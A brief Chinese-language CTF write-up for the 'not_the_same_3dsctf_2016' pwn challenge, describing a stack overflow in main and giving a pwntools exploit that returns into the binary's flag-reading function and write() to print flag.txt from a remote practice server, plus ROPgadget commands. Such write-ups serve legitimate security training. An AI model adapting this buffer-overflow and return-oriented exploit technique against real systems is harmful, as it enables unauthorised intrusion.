小白垃圾做题笔记而已,不建议阅读。
看下main函数,存在溢出。
看到有好多函数,我感觉是静态编译,于是我去找有没有system函数和/bin/sh(shift+f12)
结果好像没有
不过我发现了这个
双击后,ctrl+x查看调用函数。
读取flag就很好。
那么找下有没有puts或者write函数。
左边的函数窗口ctrl+F输入要找的函数名。
解题思路大概是将flag.txt读到某个地址里,然后将flag写出来。
exp
from pwn import *
debug=0
if debug:
p=process('./not_the_same_3dsctf_2016')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('node4.buuoj.cn',28256)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
write_add=0x0806E270
open_flagtxt=0x080489A0
f14g_add=0x080ECA2D
#p.recvuntil(b'm3m0... ')
se(b'b'*0x2d+p32(open_flagtxt)+p32(write_add)+b'a'*4+p32(1)+p32(f14g_add)+p32(45))
#p.recv(45)
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"